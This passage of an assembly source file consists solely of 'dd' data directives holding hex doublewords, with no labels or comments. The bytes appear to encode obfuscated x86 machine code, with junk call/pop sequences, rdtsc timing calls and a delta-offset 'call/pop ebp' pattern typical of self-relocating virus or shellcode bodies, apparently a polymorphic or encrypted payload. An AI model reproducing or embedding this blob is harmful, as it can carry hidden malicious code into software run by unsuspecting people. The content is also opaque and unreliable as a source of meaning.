		dd 29840F01h, 8B000000h, 0E81C01BDh, 0FFA58305h, 0FEFFFFFFh
		dd 35D8589h, 9D2305E8h,	5E8161Dh, 19589h, 0F560000h, 0E95BFABFh
		dd 0
		dd 3DC2B58Dh, 0E78105ECh, 4C843C35h, 0BB66006Ah, 95FFEC6Ah
		dd 5E820F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	6DC35040h, 1F81BD31h, 0B9F505E8h, 0FC6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 85C35242h, 0FA72804h
		dd 68Bh, 19D8B00h, 8305E803h, 0FCFCFCE1h, 0B85B50h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 52EFC352h, 41B4C048h, 2960E70Fh, 0E82089BDh
		dd 0BA05h, 0D7810000h, 4441C402h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 12E8h, 71EE5500h, 3B3FA7F3h, 54C64E22h
		dd 3F4746D0h, 0E882511Bh, 7, 10B764E5h,	5F5C9E49h, 880D5Bh
		dd 85890000h, 5E81F35h,	0F033E781h, 958B79A5h, 5E8159Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2C35747h
		dd 0E341C0DBh, 0BB65698Dh, 4B2AF4A8h, 2F1D9D89h, 8D8B05E8h
		dd 5E80705h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	10C35040h, 58353A2Bh, 0C28B5083h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C41AC350h,	66FC8AD8h
		dd 0BD83FA8Bh, 5E82E71h, 5C840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 4AAC355h, 9570F6A7h,	0F860287Bh, 0B861h, 0BF0F0000h
		dd 14E9FEh, 9A20000h, 36856307h, 0EF2097C8h, 0DC9F6FA6h
		dd 6D55AC6h, 8D8DB6ABh,	5E84D6Ah, 1840Fh, 0FFF90000h, 0B98D09E1h
		dd 8305E81Bh, 0E80A61BDh, 840F0005h, 464h, 7E9h, 8B5FA300h
		dd 814288ECh, 0A61BD83h, 0F0105E8h, 46684h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 5196DBE8h, 5BFFB70Fh, 0A61BD83h, 0F0305E8h, 40086h
		dd 0E99D8B00h, 2305E806h, 0E8088DBDh, 0BD8B6005h, 5E81295h
		dd 6AD98C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0F12EC355h, 9387ABFDh,	9D89E618h
		dd 5E81AA1h, 6A04E180h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F294C353h,	48A1B0B1h
		dd 4F38E649h, 15359D29h, 0C90A05E8h, 10B840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 73708C3h, 531C94F1h,	0BD890BA6h, 5E82D71h, 2B1858Bh
		dd 9D8B05E8h, 5E80C91h,	1BCD8533h, 958905E8h, 5E81009h
		dd 2F5D8D01h, 505005E8h, 5820Fh, 46BF0000h, 5B502540h
		dd 0F240489h, 684h, 39850900h, 8105E832h, 5676C2C7h, 0FC006A60h
		dd 31D5B529h, 506805E8h, 603A2CA0h, 0E8DE8B66h,	0Bh, 0E742FEEAh
		dd 50E7FF7Dh, 667430A0h, 5F911BBAh, 24348161h, 3A33A3AFh
		dd 0ED2ED781h, 0DE932A2h, 80000000h, 6774E65Dh,	0F48589DEh
		dd 0D3472AEFh, 151995FFh, 6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0FB4C4AC3h, 92CF2037h
		dd 89F8C64Fh, 0EBB3F185h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 5FBBA817h
		dd 0E93DE25Dh, 1ECh, 0E9858BF8h, 6A05EBB3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 19BCC357h
		dd 0AD99E0D7h, 0E27565C4h, 24219589h, 0C705E8h,	18h, 309173BBh
		dd 0EDB58B46h, 0F05EBB3h, 858BF9B7h, 5E83341h, 91CB8166h
		dd 70EF8165h, 892C5CA8h, 519D8B06h, 8B05E814h, 0E802B185h
		dd 0F88B6605h, 89044689h, 0E822D99Dh, 0BF669605h, 0BF507F27h
		dd 2D4CED4Dh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 1288E47h,	6E9B212h, 0EF000000h, 74A3C1C1h
		dd 17880F82h, 0F000000h, 118Ch,	0BE800h, 55750000h, 0CF825986h
		dd 0B9B5C3E4h, 0B5FF5B7Ch, 5EBB3E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0C1C35343h,	81D56711h, 0BBE7B047h
		dd 8585317Bh, 0E805E829h, 4, 1F03FFh, 8E960h, 28C90000h
		dd 4204A732h, 13E99A25h, 35000000h, 3B319EA4h, 2537662Ch
		dd 672D0C3Dh, 210A55A1h, 50614DD0h, 14E9h, 31B8F600h, 5002AE0Dh
		dd 0CE65EF75h, 0EA90F9F6h, 37C9C848h, 24448B0Eh, 0BB008B04h
		dd 35C6CD63h, 4244489h,	736FBB66h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0A8A69ED3h
		dd 74C3153Bh, 9D8B2862h, 5E82029h, 0B3F1858Dh, 12E905EBh
		dd 6A000000h, 0F8CB8454h, 0D625D687h, 4FF94FEBh, 7CA66A27h
		dd 0B4BF5020h, 893BE66Eh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 95FFFFC3h, 5E81519h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5DC35343h
		dd 9529CE14h, 5E80E3Dh,	95850161h, 0C705E828h, 0E80A6185h
		dd 305h, 0FD9D8B00h, 0E805E825h, 12h, 55036A32h, 0BF692764h
		dd 0FACCD11Bh, 0FA464DF6h, 9E90BC8h, 0D0000000h, 80A04096h
		dd 0F1B83635h, 0F1BD835Bh, 5EBB3h, 4B840Fh, 0E7810000h
		dd 2FB74849h, 5BE9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0EB6C86EEh, 0E8C7F4BDh
		dd 12h,	25D44F10h, 340B463Ch, 41158113h, 929CC49Eh, 0BD8B764Eh
		dd 5E80879h, 0C30505Fh,	11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 9C35545h, 3717FC8Ah, 3810F9Ch, 66000000h
		dd 6AFA8Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 660521C3h, 0BD83DA8Bh, 5E80A61h, 10850F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 66DCC355h, 29B359BFh, 0E820E58Dh
		dd 0F1BD8305h, 5EBB3h, 3DD840Fh, 14E90000h, 8B000000h
		dd 0C49D562Ch, 0C0193F55h, 3183679Fh, 7D7190E6h, 0FFF43619h
		dd 0EBB3F1B5h, 68F0F05h, 8B000000h, 0E810A59Dh,	995FF05h
		dd 6A05E81Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8BE4C350h, 0E447A33h, 0B3E5B58Bh
		dd 0BD8905EBh, 5E820BDh, 106C7h, 6A0001h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4657EDC3h
		dd 624C432Ch, 0DF8B44D0h, 0EC40BF96h, 96501FACh, 32B59D89h
		dd 0FD8A05E8h, 0B3F1B5FFh, 6A05EBh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 1A9EDFC3h
		dd 0AB8FBE26h, 98C38166h, 0BD95FF24h, 8105E808h, 0C54DD4D7h
		dd 0E5B58B0Ah, 8B05EBB3h, 0E82511BDh, 0B9858B05h, 6A05E814h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A8E7C350h, 0BB5C5462h, 0C48689h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 8BB6A9C3h, 0E0895315h, 8BA7D01Bh, 0E8159D95h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B5899744h, 5E80F15h, 0D40BEB81h, 0C2836640h, 8D336004h
		dd 5E82B71h, 2FCDB589h,	896105E8h, 81662050h, 89175DDFh
		dd 0E80FAD9Dh, 5D858D05h, 6A05EBC6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5FDDC357h
		dd 0B0BB6645h, 0DB816682h, 8689DB52h, 0B8h, 6ADFBF0Fh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8B58E8B5h, 0F1B5FFF9h, 6A05EBB3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0D05EC357h, 22550960h, 89789658h, 0E83131B5h, 2D95FF05h
		dd 6A05E82Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0F676C356h, 22884CB1h,	4B9CEBCDh
		dd 101DBD8Bh, 605005E8h, 7E85A51h, 9D000000h, 8CDA3EB8h
		dd 61596F12h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F0FC356h, 86h, 0F1B5FF00h
		dd 6A05EBB3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0AA46C357h, 6F6506B7h,	0BD72B164h
		dd 2C195FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E9ADBFC3h, 8, 0A37E0B20h, 4160984Bh
		dd 25DBD83h, 0F0005E8h,	6884h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 77C2A0B2h
		dd 88B74C46h, 12E95796h, 1C000000h, 0DA477B9Ah,	9D5E314Bh
		dd 3EDF125Ch, 7E7AED37h, 0BF505B9Ch, 7B10087Ah,	55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89B5E888h, 0E80C859Dh, 0F1B5FF05h, 0F05EBB3h, 689h
		dd 45B52900h, 8B05E82Bh, 0E82435BDh, 5995FF05h,	905E807h
		dd 0E8079585h, 0F1B5FF05h, 0E905EBB3h, 0Ch, 0F0958F48h
		dd 3502C52Ch, 5B5FB330h, 72595FFh, 665005E8h, 0DC67E781h
		dd 0A9BD835Fh, 205E829h, 39840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 2D4B36C3h
		dd 554117Ch, 0DF80C7E0h, 3D858BBBh, 0F05E813h, 0C6FFB7h
		dd 65958900h, 0C705E831h, 0E812C185h, 5, 0A99D8B00h, 0E905E806h
		dd 0FFFFF372h, 6D19D89h, 0C18B05E8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 59C35545h, 0BB66517Fh, 8D5B4A4Eh
		dd 0E81C1D85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 5459E097h, 0F5BD8B0Dh
		dd 9005E808h, 50DF8B66h, 4880F90h, 66000000h, 6AA531BBh
		dd 68A0F00h, 8B000000h,	0E82D25BDh, 81006A05h, 0F81D62DFh
		dd 0EF858D09h, 0E805ECCAh, 0Bh,	86977E97h, 8BB7C58Bh, 60DF6604h
		dd 0CE9h, 0DF596D00h, 5DFCD87Fh, 0FF8DD14Ah, 0F1816677h
		dd 5F613888h, 0E905C083h, 0Fh, 0E4AA5541h, 0EC84973Ch
		dd 2373DBB3h, 0F513E238h, 13E96090h, 0D4000000h, 1565A4EAh
		dd 767E14CDh, 31281E1Bh, 11A7459Dh, 5061B36Dh, 6AFE8B90h
		dd 59852900h, 6A05E827h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 48D0FB5h, 66000000h, 0F5FCF2BBh
		dd 203D95FFh, 8D8905E8h, 5E827A5h, 0A4DB8D8Dh, 6A05EBh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 17B017C3h, 9464A48Bh, 55B58941h, 0FF05E82Dh,	55006AD1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 91AF7010h, 7DF2A8D7h, 0ABF66DCh, 0B9BD83B8h,	105E810h
		dd 5E850Fh, 0C5BB0000h,	0E876B983h, 9, 0C3B2F629h, 0CD33346Bh
		dd 81DB81D2h, 5F71CBEAh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 5387EBC3h, 0E418F163h
		dd 0D380456Ah, 37B350CBh, 8B240489h, 0E82EC9BDh, 880F05h
		dd 0FF000000h, 0E82C2D95h, 22CF8005h, 0D00E9h, 0E800h
		dd 815D0000h, 0ECCAF9EDh, 7E905h, 0ABAA0000h, 11B28C7Ah
		dd 57006A32h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0E38AA6A0h, 396A58Ch, 0B5BD8BA1h, 0E905E823h
		dd 13h,	68E386BFh, 0A20CC77h, 0D41C870Eh, 0DFDD1830h, 8D518213h
		dd 0EB8F5885h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 9000FEB8h, 870F50h, 89000000h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6EC867C3h, 38179B8h, 0FF64DE8Ah, 35h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D2F68981h, 8964BD17h, 25h, 81D38100h, 660AC433h, 85FFDF8Bh
		dd 5E82545h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	44C35646h, 3DC619EDh, 6AFF6A2Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 9DA4C357h
		dd 8B1CE31Ah, 0E82C7D9Dh, 69B5FF05h, 6A05E822h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 2FB0C355h, 9509BE60h, 5E81079h, 2FAD95FFh, 21E905E8h
		dd 0F000001h, 0B85h, 6E900h, 1F770000h,	0C0FA0E47h, 11E800B0h
		dd 71000000h, 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh, 76976E21h
		dd 28C78166h, 9D8B5F48h, 5E81FA1h, 880F70E6h, 6, 32ED8589h
		dd 8E0F05E8h, 6, 2311BD8Bh, 71E405E8h, 24E18529h, 613C05E8h
		dd 0C2830Fh, 0BB660000h, 0B60F8476h, 0F6050C8h,	0BB66DEB7h
		dd 5F61E638h, 6BAF8h, 0BB660000h, 0C18B340Eh, 7CBFD781h
		dd 0E8C15E18h, 0E5BF6604h, 0E2F7665Bh, 9EAFC381h, 0C82B3354h
		dd 6C9BD8Bh, 0D18B05E8h, 0F8DA8B66h, 7BE9h, 0C19D8B00h
		dd 8B05E80Fh, 485h, 0A5BD8B00h,	8305E80Ch, 83F507C0h, 8D8900C0h
		dd 5E8136Dh, 830FD03Bh,	1Ah, 0AE9h, 2181A700h, 0AD6F641Dh
		dd 0E966DFCAh, 40h, 27A58509h, 8D8B05E8h, 0FFFFFFFFh, 0E183BEB7h
		dd 29840F01h, 89000000h, 0E8066DBDh, 0FFA58305h, 0FEFFFFFFh
		dd 58C0Fh, 0BBB0000h, 894A427Fh, 495h, 599D8B00h, 0E905E819h
		dd 0
		dd 4D88B58Dh, 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 9AFD5C3h, 0E82F7DBDh, 6A006A05h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 9997C357h, 0F995FFFCh, 6A05E820h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F092C350h, 0FA32BB63h, 8A0F24BDh, 2, 0E2B9D1B7h, 6A00000Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0CAFBC351h, 0EE989DDh, 34000000h,	0B38C3109h
		dd 6C5E9E7Bh, 4ADC0323h, 0FCE1835Ah, 5BFAB353h,	0B84DB7FCh
		dd 0
		dd 0BAF8h, 8B660000h, 0C233ADFAh, 0D003E8D1h, 7504E983h
		dd 0FA8CBFF4h, 860F3B70h, 0
		dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 8F9DA378h, 23E1BD8Bh, 9D0305E8h
		dd 5E831A9h, 159D958Bh,	6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 57C16DC3h, 58D8B4Ah
		dd 6005E807h, 0BD89C68Bh, 5E823C9h, 0C28B5061h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0E812C5BDh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 61B5DB1Dh, 0FD4BCF2h, 0BD83DEB7h, 5E82E71h, 69840F00h
		dd 8B000000h, 0E810FD9Dh, 0B805h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 64196BC3h
		dd 8166ECABh, 8D9DB2DBh, 0E84D6A8Dh, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4057C720h
		dd 7A40701Bh, 0BF66E453h, 0FA8B20D4h, 8D01E1FFh, 5E82911h
		dd 0A61BD83h, 0F0005E8h, 34084h, 61BD8300h, 105E80Ah, 34E840Fh
		dd 0BD890000h, 5E82235h, 0E203D781h, 0BD830E42h, 5E80A61h
		dd 0FF860F03h, 1000002h, 0E805BD9Dh, 0BD8B6005h, 5E81B91h
		dd 0FD98C66h, 58Dh, 0EF816600h,	0E1808D30h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0D95311Eh, 0A05E820h, 840FC9h, 23000001h, 0E80021BDh
		dd 0B1858B05h, 8B05E802h, 0E8327D9Dh, 0CD853305h, 3105E81Bh
		dd 0E83235BDh, 56509005h, 0F525060h, 56585A31h,	905B615Fh
		dd 2D5BD8Bh, 6A05E8h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 14h, 6EC35141h, 1341BD8Bh,	0D26805E8h, 0FBC94B6h
		dd 1585h, 0F8F0F00h, 0E9000000h, 0Ah, 68488ADDh, 1EE4BCA2h
		dd 4817523h, 8A4D2D24h,	55006A43h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F59589CFh, 0FF05E809h
		dd 0E8151995h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0F0A8E50Eh, 0F551C459h
		dd 499D2307h, 8905E803h, 0EBB3F185h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0E82F4857h
		dd 0D7C69D2h, 15FE9h, 8B99B700h, 0EBB3E985h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B928AFFh, 1800C7DEh, 8B000000h, 0E83115BDh,	8E805h
		dd 0BF9D0000h, 286FF92Fh, 0BF0F8268h, 0B58B5FDEh, 5EBB3EDh
		dd 11E8h, 78AAB100h, 0B470EF9Ah, 0D42C7131h, 27F09600h
		dd 0C7819FA5h, 5D152EADh, 41858B5Fh, 0E805E833h, 11h, 438974E0h
		dd 4ACD1B9Bh, 3BE29021h, 5962F7A7h, 5E8EBB26h, 605F7976h
		dd 53AEE080h, 6896159h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 8EC35141h, 62F98829h,	9D89273Bh, 5E81C01h
		dd 8B0DEF80h, 0E802B185h, 0B70F6005h, 0E6CF81D2h, 616D0810h
		dd 96044689h, 50505F57h, 0F5F5352h, 5ADE8B31h, 6A9658h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 4F25F9C3h, 561F0093h, 0E9B5FFDEh, 8905EBB3h,	0E80AF98Dh
		dd 0F7F66805h, 5E98372h, 85000000h, 4D31F885h, 9240481h
		dd 897CAC0Ch, 0E82DCDB5h, 0F1858D05h, 8105EBB3h, 75D57CC3h
		dd 0CE9502Dh, 18000000h, 748CE43Ah, 86703185h, 892ACB0Eh
		dd 0B5292404h, 5E80FC1h, 151995FFh, 9D8B05E8h, 5E83191h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6185C727h, 305E80Ah, 0E8000000h,	10h, 88B99944h
		dd 46BB64E9h, 286687C8h, 101CA3A9h, 835FFA8Ah, 0EBB3F1BDh
		dd 840F0005h, 0Eh, 0E9F98B66h, 21h, 0AD50E781h,	305047F5h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 495AB3Bh, 6A90BFB8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A372C351h
		dd 0B510931Fh, 2B798D89h, 0BD8B05E8h, 5E80669h,	10A99D89h
		dd 0BD8305E8h, 5E80A61h, 4C850F03h, 66000004h, 83EBC9BBh
		dd 0EBB3F1BDh, 840F0005h, 43Bh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 93C35040h, 6BEA0526h, 0FEB70F9Dh
		dd 0B3F1B5FFh, 0BD2305EBh, 5E8098Dh, 1C0995FFh,	6A05E8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7CB036C3h, 0BAA4918Ah, 8A9F4206h, 7E9DDh, 8A640000h
		dd 0EE08E1C9h, 0E5B58BAEh, 6A05EBB3h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 1726C350h
		dd 0C7DA8B66h, 1000106h, 8BE6000h, 0F1F3455h, 68Bh, 49BD8900h
		dd 6105E829h, 509675B7h, 61EA8A60h, 0CDBD8B96h,	0FF05E82Ah
		dd 0EBB3F1B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 893C9961h, 0E81BA185h
		dd 0BD95FF05h, 8905E808h, 0E806A585h, 0E5B58B05h, 6A05EBB3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0BF4FC353h, 26155461h, 205D9D89h,	0BD3305E8h
		dd 5E82821h, 14B9858Bh,	958905E8h, 5E82811h, 0C48689h
		dd 81660000h, 8B75B8F3h, 0E8159D95h, 199D8B05h,	8305E820h
		dd 858904C2h, 5E81B51h,	6A205089h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 9CBEC355h
		dd 0FE8B20ACh, 0C65D858Dh, 6A05EBh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 26B67AC3h
		dd 0D65F1802h, 0B88689EDh, 8B000000h, 0D98B66DFh, 0B70F006Ah
		dd 0F1B5FFFEh, 0F05EBB3h, 689h,	4D9D8B00h, 0E805E815h
		dd 0Dh,	736E458Ah, 3B5FD3C4h, 9BDEE982h, 9D8B5214h, 5E80E4Dh
		dd 95FF5F5Bh, 5E82C2Dh,	89F88B66h, 0E814159Dh, 52505005h
		dd 5250310Fh, 8E9h, 0D54EA300h,	2DD88652h, 66310F9Bh, 5A51A1BFh
		dd 89585A58h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 19812FC3h, 0FD9BBB22h, 0BB660A4Dh
		dd 0B5FF539Fh, 5EBB3F1h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0F4C35040h, 7461DFFBh, 8DBD2318h, 8005E809h
		dd 95FF33DBh, 5E802C1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0DC35343h, 0A9BCFD88h, 83F470AFh, 0E8025DBDh
		dd 840F0005h, 5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 8C35343h, 511CF201h, 6361541Dh, 5820Fh
		dd 81660000h, 816925EBh, 0FF65C3D3h, 8B665077h,	243489D8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 32C35545h
		dd 0FF1D7A82h
		dd 0EBB3F1B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0FE88F876h, 0BD8B1150h
		dd 5E81AD5h, 75995FFh, 6A05E8h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 2B2C6EC3h, 0FFDF8B66h
		dd 0EBB3F1B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 2B1DBEC4h, 66763251h
		dd 3DBEB81h, 952B6052h,	5E82471h, 0D2E938B8h, 0FF5F611Bh
		dd 0E8072595h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9AAB8A7Eh, 0F493D50h
		dd 987h, 38C0F00h, 66000000h, 0BD83DF8Bh, 5E829A9h, 42840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9167C353h, 307695Fh, 2AB32DA0h
		dd 858BD98Bh, 5E8133Dh,	13799D2Bh, 0C605E8h, 68D0F00h
		dd 2B000000h, 0E829E99Dh, 0C185C705h, 5E812h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0DFFC350h, 1880F60h, 0FC000000h, 2185B501h
		dd 0E96105E8h, 0FFFFF451h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0AFC35343h, 89FE3E74h, 0E807F5B5h, 0C3816605h
		dd 820F5C2Ch, 3, 8BFA8B66h, 0BE9C1h, 0AF600000h, 533F4F01h
		dd 0EC904B9Bh, 1D858D1Fh, 8B05E81Ch, 0E819E1BDh, 50605005h
		dd 0F310F52h, 84h, 66585A00h, 8961DE8Bh, 8B662404h, 6A006AFEh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 95C45D7Eh, 858DA1A7h, 5ECD985h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2DC35343h, 840FB4h
		dd 8B000000h, 0E82F0DBDh, 5C08305h, 90FBB70Fh, 6650FA8Bh
		dd 907F3DBBh, 89E78166h, 0E9006A74h, 12h, 20241831h, 75AEB672h
		dd 54F2C95Dh, 0A53FD16Ch, 6AA967h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A5C35545h,	0C7F6A4CDh, 0BD89F55Dh
		dd 5E823D1h, 0F219D0Bh,	95FF05E8h, 5E8203Dh, 82F78166h
		dd 0DB8D8D6Fh, 6A05EBA4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 3A19C352h, 0D1FF4D6Bh
		dd 0A8EABB66h, 10B9BD83h, 0F0105E8h, 7985h, 91BD2900h
		dd 6A05E825h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0F030DC51h, 24DB26B1h, 9D8B4AC5h
		dd 5E81EF1h, 24048950h,	2D95FFF8h, 6A05E82Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B158C352h, 7877B49Eh, 12E9h, 537B9600h, 17810597h
		dd 0DA123962h, 2DDAD28h, 80DC605Dh, 4E946EBh, 0E800000Fh
		dd 0
		dd 8FED815Dh, 8905ECD9h, 0E81B0DB5h, 57006A05h,	3E8h, 0C35F2000h
